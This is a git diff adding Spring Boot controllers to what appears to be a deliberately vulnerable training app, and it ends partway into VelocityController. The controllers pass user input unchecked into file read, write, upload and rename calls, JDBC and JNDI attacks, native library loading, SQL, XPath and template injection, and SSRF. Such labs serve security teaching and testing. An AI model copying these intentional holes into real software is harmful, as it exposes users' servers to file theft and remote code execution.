b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileReadController.java new file mode 100644 index 0000000..349a1ed --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileReadController.java @@ -0,0 +1,389 @@ +package com.ppp.springboot.vul.files; + +import com.ppp.FileRead; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/file/read") +public class FileReadController { + @RequestMapping("/case1") + @ResponseBody + public String case1(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_InputStreamReader(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case2") + @ResponseBody + public String case2(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_InputStreamReader_BufferedReader(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case3") + @ResponseBody + public String case3(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_InputStreamReader_CharArrayReader(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case4") + @ResponseBody + public String case4(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileInputStream(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case5") + @ResponseBody + public String case5(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileReader_bufferedReader1(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case6") + @ResponseBody + public String case6(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileReader_bufferedReader2(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case7") + @ResponseBody + public String case7(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileReader(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case8") + @ResponseBody + public String case8(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileReader_LineNumberReader(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case9") + @ResponseBody + public String case9(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileReader_CharArrayReader(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case10") + @ResponseBody + public String case10(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_PushbackReader(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case11") + @ResponseBody + public String case11(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_Files_readAllBytes(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case12") + @ResponseBody + public String case12(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_Files_readAllLines(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case13") + @ResponseBody + public String case13(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_Scanner_File(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case14") + @ResponseBody + public String case14(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_Scanner_Path(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case15") + @ResponseBody + public String case15(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_RandomAccessFile_readLine(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case16") + @ResponseBody + public String case16(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_RandomAccessFile_read(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case17") + @ResponseBody + public String case17(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileChannel(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + @RequestMapping("/case18") + @ResponseBody + public String case18(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileChannel_open(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + @RequestMapping("/case19") + @ResponseBody + public String case19(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileUtils(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + @RequestMapping("/case20") + @ResponseBody + public String case20(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_FileInputStream_BufferedInputStream(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + @RequestMapping("/case21") + @ResponseBody + public String case21(HttpServletRequest request, HttpServletResponse response) { + try { + String filePath = request.getParameter("filePath"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(filePath); + + String fileContent = FileRead.read_IOUtils(filePath); + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileRenameController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileRenameController.java new file mode 100644 index 0000000..93bf2ce --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileRenameController.java @@ -0,0 +1,31 @@ +package com.ppp.springboot.vul.files; + +import com.ppp.FileRename; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author Whoopsunix + * + */ +@Controller +@RequestMapping("/file/rename") +public class FileRenameController { + + @RequestMapping("/case1") + public void case1(HttpServletRequest request, HttpServletResponse response) throws IOException { + String oldFile = FileUtils.getResourcePath() + request.getParameter("oldFile"); + String newFile = FileUtils.getResourcePath() + request.getParameter("newFile"); + + System.out.println(oldFile); + System.out.println(newFile); + + FileRename.rename(oldFile, newFile); + + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileUploadController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileUploadController.java new file mode 100644 index 0000000..7b41958 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileUploadController.java @@ -0,0 +1,79 @@ +package com.ppp.springboot.vul.files; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.multipart.MultipartFile; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; + +import static com.alibaba.fastjson.util.IOUtils.close; + +/** + * @author Whoopsunix + * + */ +@Controller +@RequestMapping("/file/upload") +public class FileUploadController { + + @RequestMapping("/case1") + public void case1(@RequestParam("file") MultipartFile file, HttpServletRequest request, HttpServletResponse response) throws IOException { + String fileName = file.getOriginalFilename(); + + String filePath = FileUtils.getResourcePath() + fileName; + System.out.println(filePath); + InputStream fileContent = file.getInputStream(); + FileOutputStream fileOutputStream = new FileOutputStream(filePath); + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = fileContent.read(buffer)) != -1) { + fileOutputStream.write(buffer, 0, bytesRead); + } + } + + @RequestMapping("/case2") + public void case2(@RequestParam("file") MultipartFile file, HttpServletRequest request, HttpServletResponse response) throws IOException { + String fileName = file.getOriginalFilename(); + + String filePath = FileUtils.getResourcePath() + fileName; +// String filePath = FileUtils.getResourcePath() + "2.txt"; + System.out.println(filePath); + File file1 = new File(filePath); + file.transferTo(file1); + } + + + public static byte[] getFromInputStream(InputStream in) throws Exception{ + ByteArrayOutputStream out = new ByteArrayOutputStream(4096); + copy((InputStream)in, (OutputStream)out); + return out.toByteArray(); + } + + public static int copy(InputStream in, OutputStream out) throws IOException { + int var2; + try { + var2 = copy0(in, out); + } finally { + close(in); + close(out); + } + + return var2; + } + + public static int copy0(InputStream in, OutputStream out) throws IOException { + int byteCount = 0; + + int bytesRead; + for(byte[] buffer = new byte[4096]; (bytesRead = in.read(buffer)) != -1; byteCount += bytesRead) { + out.write(buffer, 0, bytesRead); + } + + out.flush(); + return byteCount; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileUtils.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileUtils.java new file mode 100644 index 0000000..d3e09e8 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileUtils.java @@ -0,0 +1,16 @@ +package com.ppp.springboot.vul.files; + +/** + * @author Whoopsunix + */ +public class FileUtils { + public static String getResourcePath(){ + String resourcePath = Thread.currentThread().getContextClassLoader().getResource("").getPath(); + if (System.getProperty("os.name").toLowerCase().contains("win")) { + if (resourcePath.startsWith("/")) { + resourcePath = resourcePath.substring(1); + } + } + return resourcePath; + } +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileWriteController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileWriteController.java new file mode 100644 index 0000000..5e8d722 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileWriteController.java @@ -0,0 +1,320 @@ +package com.ppp.springboot.vul.files; + +import com.ppp.FileWrite; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.nio.file.Paths; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/file/write") +public class FileWriteController { + + @RequestMapping("/case1") + @ResponseBody + public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_OutputStreamWriter(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case2") + @ResponseBody + public Object case2(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_FileWriter(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case3") + @ResponseBody + public Object case3(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_FileWriter_BufferedWriter(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case4") + @ResponseBody + public Object case4(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_FileWriter_CharArrayWriter(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + + @RequestMapping("/case5") + @ResponseBody + public Object case5(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_FileWriter_PrintWriter(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case6") + @ResponseBody + public Object case6(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_PrintWriter_BufferedWriter_FileWriter(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case7") + @ResponseBody + public Object case7(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_FileOutputStream(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case8") + @ResponseBody + public Object case8(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_PrintStream(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + + } + + @RequestMapping("/case9") + @ResponseBody + public Object case9(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_RandomAccessFile(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + @RequestMapping("/case10") + @ResponseBody + public Object case10(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_FileChannel(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + @RequestMapping("/case11") + @ResponseBody + public Object case11(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_Files(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + /** + * 随机文件名 + * @param request + * @param response + * @return + * @throws IOException + */ + @RequestMapping("/case111") + @ResponseBody + public Object case111(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + String fileName = Paths.get(filePath).toFile().getName(); + fileName = fileName.substring(0, fileName.lastIndexOf(".")); + filePath = filePath.replaceAll(fileName, String.valueOf(System.currentTimeMillis())); + + FileWrite.write_Files(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + @RequestMapping("/case12") + @ResponseBody + public Object case12(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_FileUtils(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + @RequestMapping("/case13") + @ResponseBody + public Object case13(HttpServletRequest request, HttpServletResponse response) throws IOException { + try { + String filePath = request.getParameter("filePath"); + String fileContent = request.getParameter("fileContent"); + filePath = FileUtils.getResourcePath() + filePath; + + System.out.println(fileContent); + System.out.println(filePath); + + FileWrite.write_FileOutputStream_file(filePath, fileContent); + + return fileContent; + } catch (Exception e) { + e.printStackTrace(); + return e.getMessage(); + } + } + + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jdbc/JDBCController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jdbc/JDBCController.java new file mode 100644 index 0000000..91201bc --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jdbc/JDBCController.java @@ -0,0 +1,76 @@ +package com.ppp.springboot.vul.jdbc; + +import h2database.H2Attack; +import ibm.IBMAttack; +import modeshape.ModeshapeAttack; +import mysql.MysqlAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import postgresql.PostgresqlAttack; +import teradata.TeradataAttack; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/JDBC") +public class JDBCController { + @RequestMapping("/H2Attack/case1") + @ResponseBody + public void H2Attack(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + H2Attack.connect(param); + } + + @RequestMapping("/IBMAttack/case1") + @ResponseBody + public void IBMAttack(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + IBMAttack.connect(param); + } + + @RequestMapping("/ModeshapeAttack/case1") + @ResponseBody + public void ModeshapeAttack(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + ModeshapeAttack.connect(param); + } + + @RequestMapping("/MysqlAttack/case1") + @ResponseBody + public void MysqlAttack(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + MysqlAttack.connect(param); + } + + @RequestMapping("/PostgresqlAttack/case1") + @ResponseBody + public void PostgresqlAttack(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + PostgresqlAttack.connect(param); + } + + @RequestMapping("/TeradataAttack/case1") + @ResponseBody + public void TeradataAttack(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + TeradataAttack.connect(param); + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jndi/JNDIController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jndi/JNDIController.java new file mode 100644 index 0000000..dee0e78 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jndi/JNDIController.java @@ -0,0 +1,29 @@ +package com.ppp.springboot.vul.jndi; + + +import jndi.JNDIAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/jndi") +public class JNDIController { + @RequestMapping("/case1") + @ResponseBody + public Object case1(HttpServletRequest request, HttpServletResponse response) throws Exception { + String url = request.getParameter("url"); + System.out.println(url); + + Object result = JNDIAttack.lookup(url); + System.out.println(result); + + return result; + } +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jni/JNIController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jni/JNIController.java new file mode 100644 index 0000000..b6f445f --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/jni/JNIController.java @@ -0,0 +1,32 @@ +package com.ppp.springboot.vul.jni; + +import com.ppp.JNIAttack; +import h2database.H2Attack; +import ibm.IBMAttack; +import modeshape.ModeshapeAttack; +import mysql.MysqlAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import postgresql.PostgresqlAttack; +import teradata.TeradataAttack; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/JNI") +public class JNIController { + @RequestMapping("/case1") + @ResponseBody + public void JNIAttack(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + JNIAttack.load(param); + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/sql/SQLController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/sql/SQLController.java new file mode 100644 index 0000000..f34f5b8 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/sql/SQLController.java @@ -0,0 +1,90 @@ +package com.ppp.springboot.vul.sql; + +import com.ppp.mysql.AliDruidInject; +import com.ppp.mysql.HQLInject; +import com.ppp.mysql.MysqlInject; +import com.ppp.mysql.SpringJDBCInject; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/sql") +public class SQLController { + @RequestMapping("/mysql/case1") + @ResponseBody + public Object MysqlCase1(HttpServletRequest request, HttpServletResponse response) throws Exception { + String id = request.getParameter("id"); + System.out.println(id); + String username = request.getParameter("username"); + System.out.println(username); + String password = request.getParameter("password"); + System.out.println(password); + + List results = MysqlInject.select(Integer.valueOf(id), username, password); + return results; + } + + @RequestMapping("/mysql/case2") + @ResponseBody + public Object MysqlCase2(HttpServletRequest request, HttpServletResponse response) throws Exception { + String id = request.getParameter("id"); + System.out.println(id); + String username = request.getParameter("username"); + System.out.println(username); + String password = request.getParameter("password"); + System.out.println(password); + + List results = MysqlInject.select(Integer.valueOf(id), username, password); + return results; + } + + @RequestMapping("/hql/case1") + @ResponseBody + public Object HQLCase1(HttpServletRequest request, HttpServletResponse response) throws Exception { + String id = request.getParameter("id"); + System.out.println(id); + String username = request.getParameter("username"); + System.out.println(username); + String password = request.getParameter("password"); + System.out.println(password); + + List results = HQLInject.select(Integer.valueOf(id), username, password); + return results; + } + + @RequestMapping("/ali/case1") + @ResponseBody + public Object AliCase1(HttpServletRequest request, HttpServletResponse response) throws Exception { + String id = request.getParameter("id"); + System.out.println(id); + String username = request.getParameter("username"); + System.out.println(username); + String password = request.getParameter("password"); + System.out.println(password); + + List results = AliDruidInject.select(Integer.valueOf(id), username, password); + return results; + } + + @RequestMapping("/spring/case1") + @ResponseBody + public Object SpringCase1(HttpServletRequest request, HttpServletResponse response) throws Exception { + String id = request.getParameter("id"); + System.out.println(id); + String username = request.getParameter("username"); + System.out.println(username); + String password = request.getParameter("password"); + System.out.println(password); + + List results = SpringJDBCInject.select(Integer.valueOf(id), username, password); + return results; + } +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/sql/XPathInjectController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/sql/XPathInjectController.java new file mode 100644 index 0000000..ff59bf5 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/sql/XPathInjectController.java @@ -0,0 +1,31 @@ +package com.ppp.springboot.vul.sql; + +import com.ppp.XPathInject; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/xpath/inject") +public class XPathInjectController { + @RequestMapping("/case1") + @ResponseBody + public Object MysqlCase1(HttpServletRequest request, HttpServletResponse response) throws Exception { + String id = request.getParameter("id"); + System.out.println(id); + String username = request.getParameter("username"); + System.out.println(username); + String password = request.getParameter("password"); + System.out.println(password); + + List results = XPathInject.select(Integer.valueOf(id), username, password); + return results; + } +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssrf/SSRFController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssrf/SSRFController.java new file mode 100644 index 0000000..6b8514c --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssrf/SSRFController.java @@ -0,0 +1,48 @@ +package com.ppp.springboot.vul.ssrf; + +import com.ppp.SSRFAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/SSRF") +public class SSRFController { + @RequestMapping("/case1") + @ResponseBody + public Object ssrf1(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + Object result = SSRFAttack.httpClient(param); + return result; + } + + @RequestMapping("/case2") + @ResponseBody + public Object ssrf2(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + Object result = SSRFAttack.okhttp(param); + return result; + } + + @RequestMapping("/case3") + @ResponseBody + public Object ssrf3(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + Object result = SSRFAttack.URLConnection(param); + return result; + } + + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssti/ThymeleafController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssti/ThymeleafController.java new file mode 100644 index 0000000..c51bad3 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssti/ThymeleafController.java @@ -0,0 +1,23 @@ +package com.ppp.springboot.vul.ssti; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/ssti") +public class ThymeleafController { + @RequestMapping("/thymeleaf/case1") + public String path(@RequestParam String lang) { + return "user/" + lang + "/welcome"; //template path is tainted + } + + + + + + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssti/VelocityController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssti/VelocityController.java new file mode 100644 index 0000000..c8064c9 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/ssti/VelocityController.java @@ -0,0 +1,31 @@ +package com.ppp.springboot.vul.ssti; + +import com.ppp.VelocityAttack; +import com.ppp.jexl.JEXLAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author 